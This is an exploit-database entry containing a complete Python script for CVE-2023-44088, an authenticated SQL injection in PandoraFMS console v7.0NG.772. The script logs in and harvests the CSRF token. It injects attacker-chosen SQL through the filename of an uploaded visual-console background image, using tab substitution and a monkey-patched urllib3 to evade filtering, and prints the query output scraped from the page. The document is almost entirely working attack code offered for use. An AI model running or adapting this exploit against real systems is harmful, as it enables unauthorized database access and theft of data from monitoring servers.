Share
## https://sploitus.com/exploit?id=PACKETSTORM:190405
# Exploit Title: PandoraFMS console v7.0NG.772 - SQL Injection (Authenticated)
    # Date: 21/11/2023
    # Exploit Author: Osama Yousef
    # Vendor Homepage: https://pandorafms.com/
    # Software Link: https://github.com/pandorafms/pandorafms/releases/download/v772-LTS/pandorafms_agent_linux-7.0NG.772.tar.gz
    # Version: v7.0NG.772
    # Tested on: Linux
    # CVE : CVE-2023-44088
    
    import re, requests, argparse, string, random, base64
    import urllib3
    import html
    
    headers = {
    	'Cache-Control': 'max-age=0',
    	'Origin': '',
    	'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36',
    	'Accept': '*/*',
    	'Referer': ''
    }
    
    def login(session, url, username, password):
    	res = session.get(url)
    	csrf = retrieve_csrftoken(res.text)
    
    	url+= '?login=1'
    	payload = "nick={}&pass={}&login_button=Let%27s+go&csrf_code={}"
    
    	res = session.post(url, data=payload.format(username, password, csrf), headers={'Content-Type': 'application/x-www-form-urlencoded'})
    	if 'User is blocked' in res.text:
    		print("Login Failed!")
    		exit(1)
    
    
    def exploit(session, url, imagepath, query):
    	url1 = url + "?sec=network&sec2=godmode/reporting/visual_console_builder&tab=data"
    	name = random_id(10)
    	payload = "{}.jpg',({}),'1','1','1','1');-- helloo.jpg".format(name, query)
    	payload=payload.replace(' ', '\t')
    	files = {"background_image": (payload, open(imagepath, 'rb').read(), 'image/jpeg')}
    
    	# Create a reference to the original _make_request method
    	urllib3.connectionpool.HTTPConnectionPool._original_make_request = urllib3.connectionpool.HTTPConnectionPool._make_request
    	# Replace the _make_request method with the custom_make_request function
    	urllib3.connectionpool.HTTPConnectionPool._make_request = custom_make_request
    
    
    	res = session.post(url1, files=files, data={'action':'save', 'name':name, 'id_group': 0, 'background_image': 'None.png', 'background_color': '#ffffff', 'width': '1024', 'height': '768', 'is_favourite_sent': '0', 'auto_adjust_sent': '0', 'update_layout': 'Save'})
    
    	if 'Created successfully' not in res.text:
    		print("Failed to create a visual console!")
    		exit(1)
    
    
    	url2 = url + "?sec=godmode/reporting/map_builder&sec2=godmode/reporting/map_builder"
    	res = session.get(url2)
    	x = re.search('(?:<a href=".*">)'+name, res.text)
    	match = x.group()
    	url3 = match.lstrip("<a href=")
    	url3 = url3.split('"')[1]
    	url3 = url3.split("?")[1]
    	url3 = html.unescape(url3)
    
    	url4 = url+ "?" + url3 
    
    	res = session.get(url4)
    
    	x = re.search('(?:var props = {"autoAdjust":true,"backgroundColor":".*","backgroundImage")', res.text)
    	match = x.group()
    	output = match.lstrip('var props = {"autoAdjust":true,"backgroundColor":"')
    	output = output.split('","backgroundImage')[0]
    	print("Query output: {}".format(output))
    
    def retrieve_csrftoken(response):
    	x = re.search('(?:<input id="hidden-csrf_code" name="csrf_code" type="hidden"  value=")[a-zA-Z0-9]*(?:")', response)
    	match = x.group()
    	csrf = match.lstrip('<input id="hidden-csrf_code" name="csrf_code" type="hidden"  value="').rstrip('"')
    	print("CSRF: {}".format(csrf))
    	return csrf
    
    def random_id(len):
    	chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
    	return ''.join(random.choice(chars) for _ in range(len))
    
    def custom_make_request(self, conn, method, url, timeout=urllib3.connectionpool._Default, chunked=False, **httplib_request_kw):
    	body = httplib_request_kw['body']
    	if body:
    		body = body.replace(b"%09", b"\t"*3)
    
    	httplib_request_kw['body'] = body
    	return self._original_make_request(conn, method, url, timeout=timeout, chunked=chunked, **httplib_request_kw)
    
    
    def main():
    	ap = argparse.ArgumentParser()
    	ap.add_argument("-t", "--target", required=True, help="Target URI")
    	ap.add_argument("-u", "--username", required=True, help="Username")
    	ap.add_argument("-p", "--password", required=True, help="Password")
    	ap.add_argument("-i", "--image", required=True, help="Image path")
    	ap.add_argument("-q", "--query", required=True, help="SQL Query to execute")
    	ap.add_argument("-x", "--proxy", required=False, help="Proxy Configuration (e.g., http://127.0.0.1:8080/)")
    
    	args = vars(ap.parse_args())
    
    	session = requests.Session()
    
    	url = args['target']
    	if 'pandora_console' not in url:
    		if not url.endswith('/'):
    			url += '/'
    		url += 'pandora_console/'
    
    
    
    
    	headers['Origin'] = args['target']
    	headers['Referer'] = args['target']
    	session.headers.update(headers)
    
    	proxies = {}
    	if args['proxy'] is not None:
    		if 'https' in args['proxy']:
    			proxies['https'] = args['proxy']
    		else:
    			proxies['http'] = args['proxy']
    
    	session.proxies.update(proxies)
    
    	login(session, url, args['username'], args['password'])
    
    	exploit(session, url, args['image'], args['query'])
    
    		
    	
    if __name__=='__main__':
    	main()